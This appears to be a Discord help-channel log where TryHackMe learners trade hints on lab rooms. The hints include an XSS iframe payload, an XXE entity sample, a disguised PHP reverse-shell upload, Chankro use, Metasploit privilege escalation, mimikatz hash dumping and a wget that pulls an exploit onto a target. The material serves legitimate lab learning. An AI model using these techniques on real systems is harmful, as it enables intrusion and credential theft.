Does it affect chankro?
So you need to provide the --path with the correct uploads directory path
It's means payload+uploaded directory
The room clearly states DOCUMENT_ROOT + uploads
I think this is enough to help you get goingπ
Eg shell.php+10.10.5.10/uploads isn't it
No. Please read it again.
Complete path to the uploads directory
This is key
Example: python2 chankro.py ... --path /absolute/path/to/my/secret/uploads/location/woohoo/uploadsπ
There is a typo
--arch = ... o__r__
It isn't correct.
You need to provide the absolute path to the location where your uploaded .php file will reside
Sorry, I gotta goπ
Good luck, just make sure you are using the correct path
How can one find the directory of the uploaded .php file?π€ π
The absolute path to itπ
@sturdy hearth @gusty turtle ihave to go for tution i will distrub you again be ready
Question about BurpSuite Basics Task 8 - Introduction to the Burp Proxy
The module asking to request to https://tryhackme.com/
My query - where to place this link
since the open browser feature is not working
What address is used as a logical identifier for a device on a network?
pls help me
or give me a hint
There is a note to that task: You do not need to follow along with this task -- just read the information and understand what the Proxy is used for. How to make requests and capture them will come in another task. For example how to use or set up foxy proxy or how to use the burpsuits browser.
Thank you very much, it cleared up my confusion.
Gave +1 Rep to @left thunder
@left thunder thanks a tonnn
Having issues with OWASP Top ten task 7. I run the <iframe src="javascript:alert('xss')"> command and get the pop up but the search results box is blank. I dont get the flag needed to proceed. I have restarted attackbox, and active machine several times, enabled and disabled popups in firfox and changed themes to see if I am missing something. Inspection shows nothing either
Hi everyone, i'm having issues with the last task on Upload Vulnerabilities room. I have managed up upload the php reverse shell ||(changed magic number to jpg and renamed the file extension to .jpg)||, and I have located the file that it was renamed to.. having trouble executing it from the ||admin page. I have tried "../content/MYFILE.jpg||
OWASP top ten task 7? That task has nothing to do with what you describe here, you may check the room name or task number again
I have not done that task yet, but have you checked the hints linked in that room?
I have, after a bit of digging it appears I may be using the wrong type of reverse shell, ||i was using php, i think I need to use a node.js reverse shell||
<!DOCTYPE replace [<!ENTITY name "feast"> ]>
<userInfo>
<firstName>falcon</firstName>
<lastName>&name;</lastName>
</userInfo>
I think "replace" should be "userinfo" also "firstname" and "lastname" aren't declared.
task 15 OWASP top 10
I need help with Burp Suite: Repeater. Stuck in a question, couldn't figure out how to solve. the challenge questioin is What is the flag you receive when you cause a 500 error in the endpoint?
are you ssh'd to the deployable target machine?
i think I am
can you show me ur ssh command
where did you get that ip address
you might notice it's the same one on your current host
so you are trying to ssh urself
not the target
oh i see jesus christ
Guys anyone doing Empline ?
i need some help on Empline too
there's a channel dedicated to it :) #888500922332885083
network services 2, task-4 last question. i wast doing privilege escalate of excitable file on NFS, although i run ./bash file i am still a standard user
any workaround ?
The owner of the binary isn't root
I need help with Throwback and I'm not sure if it's a technical error. Please help me in channel #743859653343182930
can anyone hint me for empline
I did update host to empline.thm
did rustscna and gobuster but nothing interesting
only think is interesting is job.empline.thm/careers
nothing more
I find
yes it was
do you know about new room empline??
@white salmon
nope
I'm quite a noob into this all, got the ftp (files) the samba and the 9999 services, but was too late π
I'm way to slow, need to find a better "setup process" and take faster notes too
Actually, to be open, I woke up, made a coffee, logged into the computer, started the koth and 22 seconds later the game started π
π
Not even the time to drink on my coffee π So i'm doing a break now π
btw service 9999 is for koth
it sends info who is king to website
yes, not one, hold on
every minute
aah yes, it was 9999
yup ftp was the key
Saw your name there π
also from samba we could get them
π
yup
got the keys but was already unable to log in with the keys
why?
@sturdy hearth wth
Didn't you guys exploit other services?
I was to slow, I felt like everthing was fixed when I tried
so didnt needed that
no I didnt fixed id_rsa login
you could still login as ashu
@sturdy hearth you did new room
arf, tried as ubuntu user i think
Well, better to quick run on known exploits so as to keep it in your cache (brain)π
had cat the authorised_keys and saw that ubuntu name. Had added mine, tried to upload it but no luck
ya thats wrong
you should get the id_rsa
key or pub
Got that and tried ssh -i id_rsa ubuntu@IP
from where did you got that it was ashu ?
id_rsa.pub
hints everywhere
ah shoot, i see ashu@ubuntu
You see, did not got the time to drink my coffee ... π
Yeah, miss read π
and also chmod 600 to you id_rsa
else it wont work
Anyways
Someone help me with Empline
Slept too less, stayed to late pas night, with a guy from here. He hacked everything on koth, we ended up voice talking during 3 hours π
indeed
btw, how many different koth machines are there ?
there is list
go to koth
and look right side
10 mavhines
That's a pool list of 10, but there's more than that, got already some out of that list
Like the "food" one, which we see in the history just bellow
yup
#888500922332885083 is the dedicated room for this π
Uh i think i messed something up. Doing task 4 in Linux fundumentals part3 , and i wanted to run python3 -m http.server in background so i typed "python3 -m http.server &" and closed the ternimal, now when i type it normally i get this error message
im beyond confused
Ye, because if it's really running in the background and you used the same command, without specifying a port, the port is already in use now.
Good evening. I just started with TryHackMe and am working on the first room. It's asking me to determine the version of squid running on the target box. I ran nmap -sV <ipaddr> and it showed me the versions for all of the other services. However, for squid, it only said
3128/tcp open squid-http?
Did I miss an option for nmap?
there should be a version number below Version in your nmap output
like this
It's blank. What I posted is the entire line.
follow link above
I'm also a bit new with Discord. Where's the button to post images?
@arctic idol Follow the instructions in this link
Ok
it will verify your discord to thm site and allow you to send picture
Yup
ok brb checking my note
I appreciate the help.
can you rescan the target
Sure
Ack, the box expired. Let me restart it.
Running scan now
Scan complete. Same output.
blank version?
Yup. Versions shown for all of the other services.
hmm
try include tag -sC in the nmap command
it technically should work with just -sV tho
it should be right here
Yup
i can give you the answer if you want, since you know what command to use anyway
One second. Just for giggles, I'm going to try with my actual computer. So far, I've been working through my VM. Don't know if that could change anything but let's take a look.
okay best of luck
sure
Any idea how to bruteforce mysql when βflush hostsβ is activated on the server ?
empline?
Yes
tried that too. I think it doesn't count as a spoiler to tell you that brute-forcing mysql leads to nothing..
empline hint anyone?
Okay, thank you man, Iβll have to try something else
Gave +1 Rep to @prime willow
#888500922332885083 π
what are the best switches to use with NMAP to enumerate and in the target machine window?, I run nmap -vv -oN something -sV -O -p- --script vuln IP and i'm always out of time before the scan ends
I have a question regarding empline. Is there someone I can dm?
anyone talking in #888500922332885083 is probably happy to help :)
π. Of course, I figured out what was going on. My instance was acting weird so I had to reset it.
for windows you would want to use -Pn switch since by default ping request is block, I personally use -sC -sV alot
Can i get a hint for the priv esc on brainpan
You are already james and using a SUID/SGID binary owned by james
What gives?π
ohhh I see what I did wrong I think
yup, I don't work as root in my vm so when I copied it over, it wasn't copying as root , should have read deeper as to what that was exploiting exactly. Thanks for the nudge @sturdy hearth
Gave +1 Rep to @sturdy hearth
hello currently I am doing mustacchio I have done majority of the part but everytime I enter the key it says invalid format
You need to fix your id_rsa file
Check if there are any newlines at the beginning or at the end
IIRC, it is better to copy the key using View page source option in the browser instead of copying from the presented page.
I copied from burp
Did you check for extra newlines in the file?
there was one line gap but I removed that
done
thank you
i copied from source page
Can anyone give a nudge for using metasploit exploit in exploit vulnerability room? Last task
Am i supposed to find the creds for jenkins too?
hey can anyone help me with an unresponsive shell
What have you got?
You should really start using screenshots, these photos are a pain to watch π Have you checked the hints?
@left thunder sure bro
@left thunder right now I need help
@left thunder I have check hint I can't crack that I used number called valid integers I use <=0 and 1=1 etc
I use this also /product/1'
The hint says or a number less than or equal to 0
So how would you type a number less then 0 in a natural way?
@left thunder are you taking about negative numbers
That's the only logical thing in order to be less then 0 π
@left thunder actually negative number i have tried but that also not work I use -2
Not sure if that's making a difference, but try the number which would be the next number after 0 and being less then 0
@left thunder which means -1
@left thunder actually here I think owner taking about sql query
Well, he never said so in that task. Did you got the result now?
@left thunder no
Could you send a screenshot?
Well you have still something else behind the number
@left thunder what I'm missing I don't know really
What for is the ' behind the number?
@left thunder see this next task this is what I want
@left thunder that error 500 I want
@left thunder bro I get it
Ye but that's a different task ^^
Thanks β€οΈβ€οΈβ€οΈ
@left thunder how easy this task I'm fool
@wraith bramble I'm think about query
#monero-cli
@rustic surge they're not HTTP servers. They're SSH servers. You can't talk HTTP to them. Fundamentally different.
Better to use sockets
It's really not, here.
Seeing as you need to talk SSH and there's encryption involved.
I'm just trying to connect, it should throw an error that's not connection related
as in, couldn't connect
then I could've just try excepted it
was too lazy to use the socket module
Relying on the timeouts for that is disgusting
And that sounds like a port scanner
There are much better ways of port scanning.
yeahh it was intended as a port scanner, because I thought nmap was having problems with ports 9000 - 13000, then I realized that's an intended feature of the box
(unrelated for this channel) James, I can't seem to add a reaction to your posts π₯²
I am having some trouble intercepting traffic on burp using the attack box, does it need to be configured to use on it? i am not currently able to see traffic under proxy, and under dashboard it wants me to open in browser which is not supported
Have you configured the proxy?
yes, i tried configuring the proxy in burp, i may be doing it wrong though since not getting traffic through
did you configure the proxy in the browser?
@inland onyx should I do the Burp Suite rooms in ZAP for giggles?
oh he left
There is FoxyProxy - Burp in the installed Firefox browser.
Did you use it?
Don't talk to me about ZAP
Our uni webapp hacking is getting people to use it, and I am face palming so hard
haha
Sure, it's a solid tool, but it is absolutely not widely used in industry smh
it has the advantage of being Free
That, a slightly more limited API (does ZAP even have an API?), and no vuln scanner (the vuln scanner in ZAP, iirc, being the definition of shite anyway).
Much better to learn the industry standard, even with the limitations, when you're being taught a course that claims to be teaching the next generation of industry professionals π€·ββοΈ
True, and there's nothing wrong with using it for fun/hobbyist stuff either π€·ββοΈ
Nope, it does not
yeah you said that, I just can't read today
It is working for me, I tried the AttackBox.
Enabled Burp for FoxyProxy and started Burp with intercept on
@sturdy hearth i will try that, thanks for help!
Gave +1 Rep to @sturdy hearth
i could use a little bit of help. i try to decrypt some data that was encrypted with cryptcat. my solution is to send the encrypted data via netcat to a local cryptcat listener but no data is being transported. In wireshark I can see the data being send but at the end is a tcp reset connection. anyone know why this happens ?
Hey, can somebody give me a hint for getting the last task in the OhSINT room done? I have to figure out the password, but do not know where to look. I already tried a couple of tools i know, like waybackmachine, ... Just a single little hint would do it hopefuly ;D
Look on the blog post site
I found a hash in the Sourcecode, but i can't crack it. Am i on the right track?
Check closely
Maybe you will find something in plain text
okay, i do not get it. I also tried to scan for hidden pages with gobuster. Do i have to find it in the Sourcecode of the website?
Yes
It is in plaintext
Tip: it's not in the comments so check the source thoroughly
Haha okay, i got it...π€¦ββοΈ π Thank you
Gave +1 Rep to @tulip mural
Hello, I'm doing the linux fundamentals pt1 and I'm stuck on this question "Which directory contains a file?" and the file directories I have in my virtual machine through THM are not valid answers. What should I do?
It's clean what it mean.
what do you mean?
You can understand it. It's written clean and properly
"Which directory contains a file?"
It's not that I don't understand it
it's that all of the directories I have on my machine are not valid answers for the question
You need to use the provided attackbox to answer the question
some splitted command prompt should pop up on the right side
ok well, I had to redeploy the machine 3 times to finally get it
was just giving me the Kali machine
thank you
Hey guys, I' am stuck on the Windows Event Logs room, task 7, question 2, hoping someone can point me in the right direction.
I have filtered the 'merged' event log file from the desktop of the VM for event ID 400 for question 1 to bring up what I believe to have understood is every-time PS version 2 is launched. However, there are 113 events, and question 2 is asking what date/time the PS downgrade attack took place.
I don't believe the expectation is to filter through all 113 events manually, so I think I might be missing something here.
i am asking help in the right group ?
ββ$ evil-winrm -i 10.10.x.x -u svc-admin -p management2005
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
You don't need to post in other channels, be patient everyone is volunteer (:
Hello everyone, i'm attempting to start relevant after some time away where i had struggled with it. finally broke down and looked at the write up, where i found || there is a second HTTP port running || the initial nmap scan i ran was nmap -sC -sV <ip> I've also tried nmap -A & nmap -sC -sV --version-all <ip> None of which exposed this to me, so what would my best bet be for the nmap scan?
All of your above commands would scan for the top 1000 ports
To scan for all ports, use the following
nmap -p- -sCV ... <ip>
Or -p0-65535
ok, it was the -p- that i couldnt find in any documentation
In VulnUniversity, I'm trying to run gobuster against the apache server. My command is
gobuster dir -u http://10.10.158.44:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
However, after a few seconds, it errors out with
Error: error on running gobuster: unable to connect to http://10.10.158.44:3333/: Get "http://10.10.158.44:3333/": context deadline exceeded (Client.Timeout while awaiting headers)
I've verified with nmap that that's the correct port. Am I running the command incorrectly?
Ah, it had something to do with my VPN. Turned it off and now it's working fine.
hello, I need some help, i am doing john the ripper room in thm and when I try to hash the .txt file with john my output is:
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2021-09-25 03:22) 0g/s 235894p/s 235894c/s 235894C/s G=έοΏ½\οΏ½οΏ½οΏ½οΏ½&οΏ½οΏ½K(οΏ½pοΏ½#οΏ½οΏ½WοΏ½οΏ½οΏ½οΏ½KYοΏ½..RοΏ½οΏ½4οΏ½^oοΏ½οΏ½RοΏ½οΏ½)οΏ½οΏ½οΏ½οΏ½-οΏ½lQοΏ½{οΏ½v{ACοΏ½οΏ½οΏ½οΏ½οΏ½
Session completed
any ideas why it shwos like that?
solved the problem by reinstalling rockyou.txt
Hello, I'm trying to complete the metasploit room https://tryhackme.com/room/rpmetasploit, but I'm stuck in task 6
Next, let's try: run post/multi/recon/local_exploit_suggester
I ran the code and I got some exploit suggestions, but I don't know how to try them.
I tried using
run exploit/windows/local/ikeext_service where ikeext... is an example exploit but I'm getting Exploit failed: One or more options failed to validate: LHOST
The error is the same, no matter the exploit I try.
Hi, did you set the "LHOST"?
Yes, I couldn't connect to the session without it.
what about other suggested exploits?
You can bg current session, if it is active
And then run the following
use <MODULE NAME>
set LHOST <tun0 or your value>
run
Same error message.
Let me clarify, I already have the meterpreter session running and every command works, shell, getuid, sysinfo. However, I ran post/multi/recon/local_exploit_suggester to suggest some exploits, but I don't know how to use them in the session or if I should even be using them in the session.
The task's text reads... "This will check for various exploits which we can run within our session to elevate our privileges. Feel free to experiment using these suggestions" and I'm trying to do thisl
You can background your current session and then use them
bg
use exploit/gives/you/wings
set SESSION <session number>
# set other required values
set LHOST ...
set ...
.
.
run
Ok, I'll try this.
@sturdy hearth Thanks a million, it works now.
Gave +1 Rep to @sturdy hearth
How long ago did you tried it? As I think the room creator fixed the issue. @compact cairn
I am testing it right now
I have tried it again with no results
Are you on the attackbox or your own machine?
attackbox because it is the one that has the wordlist that they indicate to use
because it is the one that has the wordlist that they indicate to use
They added the button to download the wordlist now. So I'm not sure, but what I read was that they added a line in that file that has the correct password in it. So you might want to try downloading that wordlist and use that.
I'll try it out @white salmon @left thunder
problem solved @white salmon @left thunder
I got stuck Task 5 and question 2 of Metasploit Exploition : question is "What is the NTLM hash of the password of the user "pirate"?" I don t have any idea which module do I have to use in metasploit - just hashdump ; but with which tool/payload ?
It is not a module you must exploit the machine with the vulnerability shown in the image.
And the payload you have to use is the meterpreter
Which has a hashdump function where you will get the hash of the pirata user.
Or you can do it manually by loading mimikatz in a folder with privileges and run it and extract the hash with the command lsadump::lsa /patch
Hi everyone.
I need a hint in the OWASP Top 10 room, for task 7. Im stuck, and I cant seem to get it.... thanks
What is it that you donβt get?
Anywhere that accepts user input you can try and test it for XSS
I register the user "Darren" and then I try to sign in with "Darren" and nothing happens.
So did you register "darren" or " darren"?
thank you , I got the hash of user pirate ,but I think I have to make some conversion it is very long..
Gave +1 Rep to @compact cairn
Gave +1 Rep to @compact cairn
Hmm, no...
It's not that it's too long, it's just that there's the hash there, take it only up to the second symbol (":").
that is to say $X$XXXXXXXXXX:: it would be only "$X$XXXXXXXXXX" without (":")
Yes I found that , the second part works, thnak you very much
You're welcome
hello, I am trying to ssh2john a idrsa file and I get the following error :
raceback (most recent call last):
File "/usr/share/john/ssh2john.py", line 193, in <module>
read_private_key(filename)
File "/usr/share/john/ssh2john.py", line 103, in read_private_key
data = base64.decodestring(data)
AttributeError: module 'base64' has no attribute 'decodestring'
my command is: /usr/share/john/ssh2john.py idrsa.id_rsa > crack
and I have tried with python and python3 in from , same output
try base64.decode(data)
hey guys, I'm doing the chronicle 2.0 ctf, can I get a hint on the api thinggie?
Isn't decodestring removed?
What's your python3 version?
python3 -V
You can update john and it should fix your issue.
Looks like you have python 3.9+ and your john is not up to date
# for debian systems
sudo apt update && sudo apt install -y john
hello I have a new error now
sudo python -m SimpleHTTPServer 80
/usr/bin/python: No module named SimpleHTTPServer
when I try to run simplehttpserver for nc
any ideas?
ok nvm, the command was python3 -m http.server 80
wget "http://172.16.216.134:8000/exploit"
--2021-09-25 00:56:55-- http://172.16.216.134:8000/exploit
Connecting to 172.16.216.134:8000...
```
i am try to solve the 0day room but whe i try to install the exploit it will show connecting please guide me on this
that does not looks like IP related to thm machine
is this for uploading the exploit from your machine to target?
yes
change the IP to your thm ovpn ip. It usually listed as tun0 if you run command ifconfig
should i use to eth0 ip
here i am using tun0
thm vpn IP is type A 10.x.x.x variant
not 172
do you also have another vpn running?
no another vpn
mean instant of use tun0 use 10.10.2.24 like this
10.10.2.24 is this listed as tun0 in your vm?
okkk let me try
are you successfully connected to thm vpn?
yes
is the tun0 ip start with 10.x.x.x?
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.8.246.0 netmask 255.255.0.0 destination 10.8.246.0
inet6 fe80::8ce8:ae9b:8808:284c prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC)
RX packets 1 bytes 48 (48.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8 bytes 384 (384.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Start new python httpserver, change the ip on wget as your tun0
yes, mostly starts with 10.10.x.x
I am trying to do the Owasp top 10. For Task 11, Senstive Data Exposure, the instructions are, '...have a look around the webapp...'. Are we supposed to find the webapp?
Have you deployed the machine from task 8? As you simply have to enter the IP of that machine in your browser and you will be on the mentioned webapp
can some1 tell me how to crack zip passwords with hashcat?
or is it even possible with hashcat in the first place?
tried the -m 17200
it says xyz.zip "no such file or directory"
check for the file you pointed